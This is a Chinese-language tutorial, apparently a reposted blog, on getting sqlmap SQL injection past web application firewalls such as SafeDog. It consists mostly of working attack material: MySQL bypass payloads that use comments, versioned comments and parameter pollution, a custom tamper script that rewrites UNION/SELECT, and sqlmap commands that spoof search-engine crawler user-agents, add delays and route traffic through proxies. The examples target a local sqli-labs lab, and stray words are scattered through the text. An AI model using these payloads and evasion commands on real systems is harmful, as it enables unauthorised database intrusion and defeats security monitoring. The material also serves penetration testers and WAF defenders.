sqlmap之waf繞過

#一點補充

在老版本的安全狗中,可經過構造payload:php

http://xx.xx.xx.xx/sqli-labs/Less-2/index.php/x.txt?id=1 and 1=1

可經過index.php/x.txt正常解析。html

根據mysql的一些特性的payload:python

%23x%0aunion%23x%0Aselect%201,2,3
等價於:
#
union#
select
1,2,3
%20union%20/*!44509select*/%201,2,3
等價於:
 union /*!44509select*/ 1,2,3
%20/*!44509union*/%23x%0aselect%201,2,3
等價於:
 /*!44509union*/
#select 1,2,3
這裏的44509表示數據庫是4.45.09及以上版本才被執行
id=1/**&id=-1%20union%20select%201,2,3%23*/
等價於:
id=1/**&id=-1 union select 1,2,3*/
詞語句進行了參數污染
%20union%20all%23%0a%20select%201,2,3%23
等價於:
 union all
 select 1,2,3#

#sqlmap的waf繞過

sqlmap是一款強大的注入神器,其中有不少功能,且支持拓展。mysql

在tamper目錄中有許多腳本,可進行繞過waf。也可本身根據需求向裏面添加本身的腳本。web

其中默認有一些腳本:sql

apostrophonemask.py用UTF-8全角字符替換單引號字符數據庫

apostrophonenullencode.py用非法雙字節unicode字符替換單引號字符安全

appendnullbyte.py在payload末尾添加空字符編碼app

base64encode.py對給定的payload所有字符使用Base64編碼dom

between.py分別用「NOT BETWEEN 0 AND #」替換大於號「>」,「BETWEEN # AND #」替換等於號「=」

bluecoat.py 在SQL語句以後用有效的隨機空白符替換空格符,隨後用「LIKE」替換等於號「=」

chardoubleencode.py 對給定的payload所有字符使用雙重URL編碼(不處理已經編碼的字符)

charencode.py 對給定的payload所有字符使用URL編碼(不處理已經編碼的字符)

charunicodeencode.py 對給定的payload的非編碼字符使用Unicode URL編碼(不處理已經編碼的字符)

concat2concatws.py 用「CONCAT_WS(MID(CHAR(0), 0, 0), A, B)」替換像「CONCAT(A, B)」的實例

equaltolike.py 用「LIKE」運算符替換所有等於號「=」

greatest.py 用「GREATEST」函數替換大於號「>」

halfversionedmorekeywords.py 在每一個關鍵字以前添加MySQL註釋

ifnull2ifisnull.py 用「IF(ISNULL(A), B, A)」替換像「IFNULL(A, B)」的實例

lowercase.py 用小寫值替換每一個關鍵字字符

modsecurityversioned.py 用註釋包圍完整的查詢

modsecurityzeroversioned.py 用當中帶有數字零的註釋包圍完整的查詢

multiplespaces.py 在SQL關鍵字周圍添加多個空格

nonrecursivereplacement.py 用representations替換預約義SQL關鍵字,適用於過濾器

overlongutf8.py 轉換給定的payload當中的全部字符

percentage.py 在每一個字符以前添加一個百分號

randomcase.py 隨機轉換每一個關鍵字字符的大小寫

randomcomments.py 向SQL關鍵字中插入隨機註釋

securesphere.py 添加通過特殊構造的字符串

sp_password.py 向payload末尾添加「sp_password」 for automatic obfuscation from DBMS logs

space2comment.py 用「/**/」替換空格符

space2dash.py 用破折號註釋符「--」其次是一個隨機字符串和一個換行符替換空格符

space2hash.py 用磅註釋符「#」其次是一個隨機字符串和一個換行符替換空格符

space2morehash.py 用磅註釋符「#」其次是一個隨機字符串和一個換行符替換空格符

space2mssqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符

space2mssqlhash.py 用磅註釋符「#」其次是一個換行符替換空格符

space2mysqlblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符

space2mysqldash.py 用破折號註釋符「--」其次是一個換行符替換空格符

space2plus.py 用加號「+」替換空格符

space2randomblank.py 用一組有效的備選字符集當中的隨機空白符替換空格符

unionalltounion.py 用「UNION SELECT」替換「UNION ALL SELECT」

unmagicquotes.py 用一個多字節組合%bf%27和末尾通用註釋一塊兒替換空格符

varnish.py 添加一個HTTP頭「X-originating-IP」來繞過WAF

versionedkeywords.py 用MySQL註釋包圍每一個非函數關鍵字

versionedmorekeywords.py 用MySQL註釋包圍每一個關鍵字

xforwardedfor.py 添加一個僞造的HTTP頭「X-Forwarded-For」來繞過WAF

自定義一個腳本baypasswaf.py到tamper中,源碼以下:

import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
  singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" %
  (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
#%23a%0aunion/*!44575select*/1,2,3
  if payload:
    payload = payload.replace("union", "%23a%0aunion")
    payload = payload.replace("select", "/*!44575select*/")
    payload = payload.replace("%20", "%23a%0a")
    payload = payload.replace(" ", "%23a%0a")
    payload = payload.replace("database()", "database%23a%0a()")
    return payload

1.配合抓包工具bp進行分析

sqlmap可配合bp進行抓包分析

語句以下:

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --tamper=bypasswaf.py --proxy=http://127.0.0.1:8080

2.安全狗經過user-agent攔截,繞過方法

有時候安全狗可能會攔截,由於安全狗可分析日誌,指紋,白名單信息等判斷是否使用工具注入等。

好比能夠經過判斷http數據包中的user-agent判斷是否時使用工具。

方法一:隨機修改數據包中user-agent值

咱們可經過構造payload進行繞過,目的是隨機修改數據包中user-agent的值

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --tamper=bypasswaf.py --proxy=http://127.0.0.1:8080 --random-agent --dbs

其中--random-agent是隨機獲取user-agent的值,以達到繞過的目的。

可見user-agent已經被更改

已經繞過且得到數據庫名:

 問題:安全狗開啓CC流量防禦,是否sqlmap會被攔截?

會被攔截。

方法二:修改user-agent爲搜索引擎的值

在安全狗中有一些爬蟲白名單,使用sqlmap時可將user-agent修改成白名單的user-agent以達到繞過效果。

常見網站爬蟲user-agent信息:

百度:

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
Baiduspider-image+(+http://www.baidu.com/search/spider.htm)

神馬搜索:

Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 YisouSpider/5.0 Safari/537.36
Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e YisouSpider/5.0 Safari/602.1

谷歌:

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html) Mozilla (iPhone; U; CPU iPhone OS 3 0 like Mac OS X) AppleWebKit (KHTML, like Gecko) Mobile Safari
Mozilla/5.0 (compatible; Googlebot-Image/1.0; +http://www.google.com/bot.html)

搜狗:

Sogou+web+spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
Sogou+Pic+Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
Sogou+News+Spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)
Sogou+Video+Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)

360搜索:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0);
Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko)Version/4.0 Mobile Safari/534.30; 360Spider
Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30; HaosouSpider
360spider (http://webscan.360.cn)

頭條:

Mozilla/5.0 (compatible; Bytespider; https://zhanzhang.toutiao.com/) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36
Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)
Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Version/7.0 Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)

paylod:

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --tamper=bypasswaf.py --proxy=http://127.0.0.1:8080 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" --dbs

方法三:添加代理池

方法四:延時注入

經過限制sqlmap的注入時間來繞過waf,加上--delay=times實現

payload:

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-2/?id=1" --tamper=bypasswaf.py --proxy=http://127.0.0.1:8080 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" --delay=2 --dbs

方法五:

修改數據包,將其http數據包信息保存至sqlmap目錄下,存爲一個txt文件,再經過sqlmap經過這個文件來注入。

paylaod:

python sqlmap.py -r test.txt --tamper=bypasswaf.py -proxy=http://127.0.0.1:8080 -tables

方法六:中轉註入

簡單來講就是sqlmap去注入本地的腳本地址--本地搭建腳本(運行環境)(請求數據包自定義)--來訪問遠程地址

具體見https://www.cnblogs.com/zhaohzaomumu/p/15087344.html文末。

相關文章
相關標籤/搜索